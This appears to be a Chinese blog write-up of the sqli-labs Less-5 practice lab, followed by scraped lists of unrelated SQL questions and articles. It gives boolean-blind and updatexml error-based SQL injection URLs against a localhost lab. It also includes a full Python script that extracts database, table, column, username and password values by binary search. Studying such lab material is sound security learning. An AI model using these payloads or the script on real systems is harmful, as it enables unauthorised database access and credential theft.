sqli-labs (less-5)

2023-11-09

sqli-labs (less-5)

第五关和前面的四关就不一样了,当我们输入id=1时,页面不会再返回用户名和密码,而是返回了 You are in…
输入

http://127.0.0.1/sql1/Less-5/?id=1'


这里报错,根据错误信息我们判断为字符型注入
判断字段数

http://127.0.0.1/sql1/Less-5/?id=1' order by 3--+

http://127.0.0.1/sql1/Less-5/?id=1' order by 4--+


判断字段数为3
使用union函数

http://127.0.0.1/sql1/Less-5/?id=-1' union select 1,2,3--+


这里我们发现输出结果还是 You are in…,不管我们怎么构造union函数也还是智慧显示 You are in…,所以这里使用union注入是行不通的

Boolean 注入攻击

补充知识
因为页面只返回yes或no,不返回数据库中的数据,所以我们这里肯定是不能使用union注入的
length(database())>=1,判断当前数据库长度是否>=1,正确输出1,错误输出0
substr(database(),1,1)='s',判断当前数据库的第一个字母是否为s,正确输出1,错误输出0,substr的作用是截取长度
ord(substr(database(),1,1))=115,转ASCII码判断,正确输出1,错误输出0
substr((select table_name from information_schema.tables where table_schema='A' limit 0,1),1,1)='e',判断A库下面第一张表的第一个字母是否为e,正确输出1,错误输出0
substr((select column_name from information_schema.tables where table_name='B' limit 0,1),1,1)='e',判断B表下面的第一个字段的第一个字母是否为e,正确输出1,错误输出0
substr((select C from A.B limit 0,1),1,1)='e',判断C字段下面的第一个值的第一个字母是否为e,正确输出1,错误输出0

substr函数和limit函数介绍
substr函数
在mysql数据库中,substr()函数是用来截取数据库某一列字段中的一部分
例:

limit函数
LIMIT 子句可以被用于强制 SELECT 语句返回指定的记录数。LIMIT 接受一个或两个数字参数。参数必须是一个整数常量。
例:

我们可以看到,substr函数和limit函数的用法和意思其实差不多,但是substr函数的索引值是从1开始的,而limit函数的索引值是从0开始

进入第五关
前面我们已经判断出为字符型注入
判断当前数据库的长度

http://127.0.0.1/sql1/Less-5/?id=1' and length(database())>=1--+


长度大于1

http://127.0.0.1/sql1/Less-5/?id=1' and length(database())>=9--+


长度小于9

http://127.0.0.1/sql1/Less-5/?id=1' and length(database())=8--+


长度为8
判断当前库下的第一个字母

http://127.0.0.1/sql1/Less-5/?id=1' and substr(database(),1,1)='d'--+


第一个字母不为d

http://127.0.0.1/sql1/Less-5/?id=1' and substr(database(),1,1)='s'--+


第一个字母为s
这样一个一个猜未免太麻烦了,有没有其他简单的方法呢,答案是肯定是有的

使用burpsuite爆破

设置好代理,抓包后发送到Intruder模块

设置好字典后进行暴力破解

根据e的长度不同,我们得知当前库的第二个字母为e
利用substr函数依次往后面猜解,这里我就不做演示了

判断security库下的所有表

http://127.0.0.1/sql1/Less-5/?id=1' and substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='a'--+


改变limit函数和substr的索引值继续往后面猜解,这里不一一演示

判断users表下的字段

http://127.0.0.1/sql1/Less-5/?id=1' and substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1)='a'--+


改变limit函数和substr的索引值继续往后面猜解,这里不一一演示

判断username字段下的值

http://127.0.0.1/sql1/Less-5/?id=1' and substr((select username from security.users limit 0,1),1,1)='c'--+


改变limit函数和substr的索引值继续往后面猜解,这里不一一演示

编写盲注脚本

import requests


# 数据库库名长度
def db_length():
    db_len = 1
    while True:
        str_db_len = str(db_len)
        db_len_url = url + "' and length(database())=" + str_db_len + "--+"
        r = requests.get(db_len_url)
        if flag in r.text:
            print("\n当前数据库名长度为:%s" % str_db_len)
            break
        else:
            db_len = db_len + 1
    return db_len


# 猜解当前数据库库名
def db_name():
    low = 32
    high = 126
    i = 1
    km = ""
    while (i <= db_len):
        str_i = '%d' % i

        if (low + high) % 2 == 0:
            mid = (low + high) / 2
        elif (low + high) % 2 != 0:
            mid = (low + high + 1) / 2
        str_mid = '%d' % mid

        name_url = url + "' and ascii(substr((select schema_name from information_schema.schemata limit 5,1)," + str_i + ",1))=" + str_mid + "--+"
        response = requests.get(name_url)

        if flag in response.text:
            km += chr(int(mid))
            print(km)
            i = i + 1
            low = 32
            high = 126
        elif flag not in response.text:
            name_url = url + "' and ascii(substr((select schema_name from information_schema.schemata limit 5,1)," + str_i + ",1))>" + str_mid + "--+"
            response = requests.get(name_url)
            if flag in response.text:
                low = mid
            elif flag not in response.text:
                high = mid
    print("当前数据库库名为:" + km)
    return km


# 判断表的个数
def table_num():
    for i in range(20):
        str_i = '%d' % i
        num_url = url + "' and (select count(table_name) from information_schema.tables where table_schema='" + db_name + "')=" + str_i + "--+"
        r = requests.get(num_url)
        if flag in r.text:
            print("\n数据表个数为:%s" % str_i)
            break
    return i


# 判断表名长度
def table_len():
    t_len = []
    for i in range(0, table_num):
        str_i = str(i)
        for j in range(1, 20):
            str_j = str(j)
            len_url = url + "' and (select length(table_name) from information_schema.tables where table_schema='" + db_name + "' limit " + str_i + ",1)=" + str_j + "%23"
            r = requests.get(len_url)
            if flag in r.text:
                print("第" + str(i + 1) + "张表的表名长度为:" + str_j)
                t_len.append(j)
                break
    return t_len


# 猜解表名
def table_name():
    tname = {}
    for i in range(0, table_num):
        str_i = str(i)
        for j in range(table_num):
            if i == j:
                k = 1
                low = 32
                high = 126
                bm = ""
                while (k <= t_len[j]):
                    str_k = str(k)
                    if (low + high) % 2 == 0:
                        mid = (low + high) / 2
                    elif (low + high) % 2 != 0:
                        mid = (low + high + 1) / 2
                    str_mid = str(mid)
                    name_url = url + "' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit " + str_i + ",1)," + str_k + ",1))=" + str_mid + "--+"
                    r = requests.get(name_url)
                    if flag in r.text:
                        bm += chr(int(mid))
                        print(bm)
                        k = k + 1
                        low = 32
                        high = 126
                    elif flag not in r.text:
                        name_url = url + "' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit " + str_i + ",1)," + str_k + ",1))>" + str_mid + "--+"
                        r = requests.get(name_url)
                        if flag in r.text:
                            low = mid
                        elif flag not in r.text:
                            high = mid
                tname[str(j + 1)] = str(bm)
    for key, value in tname.items():
        print("[+]| " + key + " | " + value)
    return tname


# 判断表中列个数
def column_num():
    for i in range(10):
        str_i = str(i)
        num_url = url + "' and (select count(column_name) from information_schema.columns where table_name='" + table_name + "' and table_schema='" + db_name + "')=" + str_i + "--+"
        r = requests.get(num_url)
        if flag in r.text:
            print(table_name + "表中列的个数为:%s" % str_i)
            break
    return i


# 判断列名长度
def column_len():
    c_len = []
    for i in range(0, column_num):
        str_i = str(i)
        for j in range(1, 20):
            str_j = str(j)
            len_url = url + "' and (select length(column_name) from information_schema.columns where table_name='" + table_name + "' and table_schema='" + db_name + "'limit " + str_i + ",1)=" + str_j + "%23"
            r = requests.get(len_url)
            if flag in r.text:
                c_len.append(j)
                print("第" + str(i + 1) + "列的列名长度为:" + str_j)
                break
    return c_len


# 猜解列名
def column_name():
    cname = {}
    for i in range(0, column_num):
        str_i = str(i)
        for j in range(column_num):
            if i == j:
                k = 1
                low = 32
                high = 126
                cm = ''
                while k <= column_len[j]:
                    str_k = str(k)
                    mid = 0
                    if (low + high) % 2 == 0:
                        mid = (low + high) / 2
                    elif (low + high) % 2 != 0:
                        mid = (low + high + 1) / 2
                    str_mid = str(mid)
                    name_url = url + "' and ascii(substr((select column_name from information_schema.columns where table_name='" + table_name + "' and table_schema='" + db_name + "' limit " + str_i + ",1)," + str_k + ",1))=" + str_mid + "--+"
                    r = requests.get(name_url)
                    if flag in r.text:
                        cm += chr(int(mid))
                        print(cm)
                        k = k + 1
                        low = 32
                        high = 126
                    elif flag not in r.text:
                        name_url = url + "' and ascii(substr((select column_name from information_schema.columns where table_name='" + table_name + "' and table_schema='" + db_name + "' limit " + str_i + ",1)," + str_k + ",1))>" + str_mid + "--+"
                        r = requests.get(name_url)
                        if flag in r.text:
                            low = mid
                        elif flag not in r.text:
                            high = mid
                cname[str(j)] = str(cm)
    for key, value in cname.items():
        print("[+]| " + str(int(key) + 1) + " | " + value)
    return cname


# 判断字段个数
def dump_num():
    for i in range(0, column_num):
        for j in range(20):
            str_j = str(j)
            num_url = url + "' and (select count(" + cname[
                str(i)] + ") from " + db_name + "." + table_name + ")=" + str_j + "--+"
            r = requests.get(num_url)
            if flag in r.text:
                print(cname[str(i)] + "列中的字段数为:%s" % str_j)
                break
    return j


# 判断字段长度
def dump_len():
    user_len = []
    pass_len = []
    for i in range(0, dump_num):
        str_i = str(i)
        for j in range(1, 33):
            str_j = str(j)
            len_url = url + "' and (select length(username) from " + db_name + "." + table_name + " limit " + str_i + ",1)=" + str_j + "%23"
            r = requests.get(len_url)
            if flag in r.text:
                user_len.append(j)
                print("username第" + str(i + 1) + "个字段长度为:" + str_j)
                break
        for k in range(1, 33):
            str_k = str(k)
            len_url = url + "' and (select length(password) from " + db_name + "." + table_name + " limit " + str_i + ",1)=" + str_k + "%23"
            r = requests.get(len_url)
            if flag in r.text:
                pass_len.append(k)
                print("password第" + str(i + 1) + "个字段长度为:" + str_k)
                break
    return (user_len, pass_len)


# 猜解字段值
def dump():
    username = {}
    password = {}
    for i in range(0, dump_num):
        str_i = str(i)
        for j in range(dump_num):
            if i == j:
                k = 1
                p = 1
                low = 32
                high = 126
                uname = ''
                pword = ''
                while k <= user_len[j]:
                    str_k = str(k)
                    if (low + high) % 2 == 0:
                        mid = (low + high) / 2
                    elif (low + high) % 2 != 0:
                        mid = (low + high + 1) / 2
                    str_mid = str(mid)
                    user_url = url + "' and ascii(substr((select username from " + db_name + "." + table_name + " limit " + str_i + ",1)," + str_k + ",1))=" + str_mid + "--+"
                    r = requests.get(user_url)
                    if flag in r.text:
                        uname += chr(int(mid))
                        print(str(i + 1) + "| usename:" + uname)
                        k = k + 1
                        low = 32
                        high = 126
                    elif flag not in r.text:
                        user_url = url + "' and ascii(substr((select username from " + db_name + "." + table_name + " limit " + str_i + ",1)," + str_k + ",1))>" + str_mid + "--+"
                        r = requests.get(user_url)
                        if flag in r.text:
                            low = mid
                        elif flag not in r.text:
                            high = mid
                username[str(j)] = str(uname)
                while p <= pass_len[j]:
                    str_p = str(p)
                    if (low + high) % 2 == 0:
                        mid = (low + high) / 2
                    elif (low + high) % 2 != 0:
                        mid = (low + high + 1) / 2
                    str_mid = str(mid)
                    pass_url = url + "' and ascii(substr((select password from " + db_name + "." + table_name + " limit " + str_i + ",1)," + str_p + ",1))=" + str_mid + "--+"
                    r = requests.get(pass_url)
                    if flag in r.text:
                        pword += chr(int(mid))
                        print(str(i + 1) + "| password:" + pword)
                        p = p + 1
                        low = 32
                        high = 126
                    elif flag not in r.text:
                        pass_url = url + "' and ascii(substr((select password from " + db_name + "." + table_name + " limit " + str_i + ",1)," + str_p + ",1))>" + str_mid + "--+"
                        r = requests.get(pass_url)
                        if flag in r.text:
                            low = mid
                        elif flag not in r.text:
                            high = mid
                password[str(j)] = str(pword)
    for x in range(0, 13):
        print("|" + str(x + 1) + "|username:" + username[str(x)] + "|password:" + password[str(x)] + "|")


# 程序入口
if (__name__ == "__main__"):
    url = "http://127.0.0.1/sql1/Less-5/?id=1"
    flag = "You are in..........."
    print("..........开始猜解当前数据库库名长度..........")
    db_len = db_length()
    print("\n............开始猜解当前数据库库名............")
    db_name = db_name()
    print("\n.............开始判断数据表的个数.............")
    table_num = table_num()
    print("\n...............开始判断表名长度...............\n")
    t_len = table_len()
    print("\n.................开始猜解表名.................\n")
    tname = table_name()
    table_name = input("\n请选择一张表:")
    print("\n.............开始判断表中列的个数.............\n")
    column_num = column_num()
    print("\n...............开始判断列名长度...............\n")
    column_len = column_len()
    print("\n.................开始猜解列名.................\n")
    cname = column_name()
    print("\n................开始判断字段数................\n")
    dump_num = dump_num()
    print("\n...............开始判断字段长度...............\n")
    user_len, pass_len = dump_len()
    print("\n................开始猜解字段值................\n")
    dump()

报错注入攻击

这关我们发现他还有一个特点,就是当我们的SQL语句构造错误时,屏幕会将我们具体的错误全部显示出来,这里我们就可以利用这个错误显示显示出我们要查的信息
补充知识
updatexml(1,concat(0x7e,(database()),0x7e),1),查看当前库,0x7e是’~'十六进制转化的结果,用来分割我们的结果
updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='A' limit 0,1),0x7e),1),查看A库下面的第一张表
updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='B' limit 0,1),0x7e),1),查看B表下面的第一个字段
updatexml(1,concat(0x7e,(select C from A.B),0x7e),1),查看C字段下面的第一个字段

查看当前库

http://127.0.0.1/sql1/Less-5/?id=1' and updatexml(1,concat(0x7e,(database()),0x7e),1)--+


查看security库下的表

http://127.0.0.1/sql1/Less-5/?id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1),0x7e),1)--+


改变limit函数的索引值查看后面的表,这里不一一演示

查看users表下的所有字段

http://127.0.0.1/sql1/Less-5/?id=1' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1),0x7e),1)--+


改变limit函数的索引值查看后面的表,这里不一一演示

查看username字段的所有值

http://127.0.0.1/sql1/Less-5/?id=1' and updatexml(1,concat(0x7e,(select username from security.users limit 0,1),0x7e),1)--+


改变limit函数的索引值查看后面的表,这里不一一演示

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

sqli-labs (less-5) 的相关文章

  • MS ACCESS 计数/求和行数,不重复

    我有下表 我需要计算总行数而不包括任何重复记录 CustomerID test1 test1 test2 test3 test4 test4 如您所见 总行数为 6 但有两个 test1 和两个 test4 我希望查询返回 4 IOW 我想
  • 索引数量越少意味着插入、更新和删除速度更快? [关闭]

    就目前情况而言 这个问题不太适合我们的问答形式 我们希望答案得到事实 参考资料或专业知识的支持 但这个问题可能会引发辩论 争论 民意调查或扩展讨论 如果您觉得这个问题可以改进并可能重新开放 访问帮助中心 help reopen questi
  • POINT 列上的 MySQL INSERT/UPDATE

    我正在尝试用我国家的地理位置填充我的数据库 我的一张表有 4 个字段 ID PK 纬度 经度和地理点 EDIT SCDBs Punto Geografico SET lat 18 469692 SET lon 63 93212 SET g
  • 在 SELECT IN 中使用 Oracle 参数时出现问题

    我在将一串数字插入sql查询时遇到问题 SELECT FROM tablename a WHERE a flokkurid IN 3857 3858 3863 3285 ORDER BY sjodategund rodun or SELEC
  • date_sub 对于 mysql 可以,对于 postgresql 可以

    此查询适用于 mySQL 不适用于 Postgresql select from where id and h gt date sub now INTERVAL 30 MINUTE 错误是 Query failed ERREUR erreu
  • PL/pgSQL SELECT 到数组中

    这是我的函数声明和主体的一部分 CREATE OR REPLACE FUNCTION access update RETURNS void AS DECLARE team ids bigint BEGIN SELECT INTO team
  • 如何在 DB2 AS/400 中将小数字段转换为日期字段?

    我有一个 DECIMAL 字段 其中包含 AS400 格式的日期 1100614 我努力了 cast MYDATE as DATE 但我无法将 DECIMAL 转换为 DATE 而 DATE MYDATE 返回空值 如何将此字段转换为日期字
  • 串行类型的外键 - 确保始终手动填充

    我有两个表 国家和地区 CREATE TABLE Countries id SERIAL name VARCHAR 40 NOT NULL PRIMARY KEY id CREATE TABLE Regions id SERIAL coun
  • 只获取倒数第二条记录 - mysql-query

    我有一个如下表记录 my table id rating description 1 0 0 bed 2 1 0 good 3 0 0 bed 4 1 0 good 5 0 0 bed 6 0 0 bed 7 0 0 bed 现在我通过评级
  • SQL 查询用于计算每个客户的订单数量和总金额

    我有两张桌子Order与列 OrderID OrderDate CID EmployeeID And OrderItem与列 OrderID ItemID Quantity SalePrice 我需要返回客户 ID CID 每个客户的订单数
  • 加密数据库字段的好方法?

    我被要求加密数据库中的各种数据库字段 问题是这些字段在读取后需要解密 我在用着Django and SQL Server 2005 有什么好主意吗 See 在 SQL Server 2005 数据库中使用对称加密 https web arc
  • 如何搜索例程的内容/(SP-触发函数)

    我需要在数据库内所有例程的例程主体 存储过程 函数 触发器 中搜索文本 我该怎么做 Thanks SELECT OBJECT NAME object id FROM sys sql modules WHERE definition LIKE
  • 实现软删除的最佳方法是什么?

    目前在做一个项目 我们要对大部分用户 用户角色 实现软删除 我们决定添加一个is deleted 0 数据库中每个表的字段并将其设置为 1 如果特定用户角色点击特定记录上的删除按钮 现在为了将来的维护 每个SELECT查询需要确保它们不包含
  • 在存储过程中验证用户的最简单方法?

    我需要一个存储过程 可以通过发送以下内容来检查登录尝试时他们是否是有效用户login and password查看它们在数据库中是否匹配 有没有一种简单的方法可以做到这一点 如果没有更多信息 我目前能提供的最好信息是 CREATE STOR
  • 内置函数将每个单词的第一个字母大写

    如果 SQL Server 中已存在此类函数 我不想为此创建自定义函数 输入字符串 This is my string to convert预期输出 This Is My String To Convert SET ANSI NULLS O
  • 删除数据库中的行后如何重新排序ID

    我正在使用 C 来制作具有 sql 数据库的程序 在数据库中我有一个名为Workers 它有一个自动增量和主键ID column 当我删除一条记录时 ID 之间会出现间隙 删除记录后如何重新排序 ID UPDATE 我要做的就是找到记录后将
  • MYSQL从每个类别中随机选择一条记录

    我有一个数据库Items表看起来像这样 id name category int 有几十万条记录 每个item可以是 7 种不同的之一categories 对应于categories table id category 我想要一个从每个类别
  • 如何在 SQL Server 中连接

    我的数据库没有特定的列 因此我通过开关在查询中创建了一个列 我需要的是将此列与数据库中的另一列连接起来 select certificateDuration DurationType case when certificateDuratio
  • 在 DataView 的 RowFilter 中选择 DISTINCT

    我试图根据与另一个表的关系缩小 DataView 中的行范围 我使用的 RowFilter 如下 dv new DataView myDS myTable id IN SELECT DISTINCT parentID FROM myOthe
  • 是否可以引用同一个表中的不同列?

    如果博客有一个 类别 表 如下所示 CREATE TABLE categories id INTEGER PRIMARY KEY AUTO INCREMENT parent id INTEGER NOT NULL name VARCHAR

随机推荐

  • 【计算机视觉

    文章目录 一 检测相关 18篇 1 1 Neural Network Training Strategy to Enhance Anomaly Detection Performance A Perspective on Reconstru
  • Ubuntu更换源-清华大学源

    文章目录 前言 备份原来的源 更换源 更新源 前言 安装好ubuntu系统后 默认的软件更新源是国外的 在国内使用速度很慢 安装软件时可能出现 各种各样的错误 所以我们需要更换成国内的源 这样才能更快更安全的安装和更新软件 此次我们选用的是
  • scratch 鼠标控制角色移动

    scratch 鼠标控制角色 本程序使用鼠标操作 机器人 角色跟随鼠标 距离较小时暂停移动 小狗 角色连续在随机位置生成 水平移动 碰到边缘反弹 碰到 机器人 角色时删除 目前scratch程序的制作已经告一段落了 进一步开发需要更多规划
  • 多路ADC的采集——stm32

    在对实际应用过程中 ADC的采集大多是多个通道同时采集的 比如同时采集多个传感器的数据 就可能需要我们配置多个通道的ADC采集了 而多通道的ADC采集大多用到了DMA 笼统的讲通过DMA来传输数据不经过CPU 可以有效的为CPU减负 我们在
  • Linux开发工具

    目录 Linux 软件包管理器 yum 如何安装软件 如何卸载软件 Linux编辑器 vim使用 1 vim的基本概念 2 vim的基本操作 3 vim正常模式命令集 4 vim末行模式命令集 5 vim操作总结 7 一些小指令 Linux
  • TypeError:__init__() got an unexpected keyword argument ‘xxx‘

    检查一下通常是某个关键字打错了
  • 排序算法:冒泡排序

    基本思想 相邻的两个元素进行比较 按照要求进行交换 思路 以升序为例 进行第一趟排序 第一个元素和第二个元素进行比较 将较大的放在第二个元素的位置上 然后第二个和第三个元素进行比较 将较大的放在第三个元素的位置上 依次类推 直到 第一趟排序
  • 2023.05-B卷-华为OD机试 - 阿里巴巴找黄金宝箱(I)-”新加题型“(100分值)

    www codefun2000 com 最近我们一直在将收集到的各种大厂笔试的解题思路还原成题目并制作数据 挂载到我们的OJ上 供大家学习交流 体会笔试难度 现已录入200 道互联网大厂模拟练习题 还在极速更新中 欢迎关注公众号 塔子哥学算
  • 提高代码质量之静态代码检查

    http www jianshu com p 2b8d34b2267c 前言 在团队Android项目开发过程中 难免会出现一些比较不容易发现 但是又比较低级的bug 而且因为每个开发人员的编码习惯不同 写出的代码也会有差异 为了保证团队开
  • Java小程序简易多客户端聊天服务器

    前言 最近在上JAVA课时学习了多线程有关知识 结合之前的练习 自己试着写了个多客户端聊天器 现放在这里 希望能对各位同袍有所帮助 注意为了防止抄袭 以下仅放出Client和Server部分 对于信息部分没有发上来 不过主要难点都在已发上来
  • 【项目设计】高并发内存池(五)[释放内存流程及调通]

    C 学习历程 入门 博客主页 一起去看日落吗 持续分享博主的C 学习历程 博主的能力有限 出现错误希望大家不吝赐教 分享给大家一句我很喜欢的话 也许你现在做的事情 暂时看不到成果 但不要忘记 树 成长之前也要扎根 也要在漫长的时光 中沉淀养
  • (算法)从10000个数中找出最大的10个

    从10000个整数中找出最大的10个 最好的算法是什么 算法一 冒泡排序法 千里之行 始于足下 我们先不说最好 甚至不说好 我们只问 如何 从10000个整数中找出最大的10个 我最先想到的是用冒泡排序的办法 我们从头到尾走10趟 自然会把
  • Vue3+TypeScript+Router+Vuex+Ant-Design-Vue项目(一)—— 使用 vue-cli 搭建项目

    为了更好地掌握 vue3 和 TypeScript 准备搭建一个后台管理系统来学习一下 技术栈 Vue3 Typescript Vue router Vuex Ant Design Vue 1 初始化项目 vue create
  • 【Flutter】篇9:相机

    挑选系统的相册 调用相机的功能 需要用到官网插件image picker 官网代码 运行报错 ERROR D8 Cannot fit requested classes in a single dex file methods 68998
  • 虚拟机硬盘直通挽救黑群晖数据

    之前用一台一体机做了一个黑群晖 放了一些1080P和4K的高清影片进去 数据并没有特别重要 但是由于多次意外停电 我又把黑群晖设置为来电自动重启 估计是硬盘受了一些影响 导致黑群晖无法被群晖助手搜索到 黑群晖变砖 我这个黑群晖是1个U盘作为
  • Thymeleaf 基本用法

    hymeleaf 是一款用于渲染 XML XHTML HTML5 内容的模板引擎 类似 JSP Velocity FreeMaker 等 它也可以轻易的与 Spring MVC 等 Web 框架进行集成作为 Web 应用的模板引擎 与其它模
  • 巧用千寻位置GNSS软件

    线路施工放样主要是解决线路工程和水利工程施工中 线路及渠道中线和边坡施工放样编辑的专用程序 千寻位置GNSS软件中完成线路施工放样可按照下述步骤操作 点击 测量 gt 线路施工放样 选择一条线路放样 如图 5 6 1所示 图 5 6 1 图
  • keras转onnx

    1 先将keras模型保存为tf model path pnet h5 模型文件 model tf keras models load model model path model save pnet save format tf 2 将保
  • 飞浆AI studio人工智能课程学习(4)-优质Prompt分享

    文章目录 最具商业价值Prompt分享与颁奖 02最具商业价值Prompt分享与颁奖 Top1 02最具商业价值Prompt分享与颁奖 Top2 02最具商业价值Prompt分享与颁奖 Top3 02最具商业价值Prompt分享与颁奖 To
  • sqli-labs (less-5)

    sqli labs less 5 第五关和前面的四关就不一样了 当我们输入id 1时 页面不会再返回用户名和密码 而是返回了 You are in 输入 http 127 0 0 1 sql1 Less 5 id 1 这里报错 根据错误信息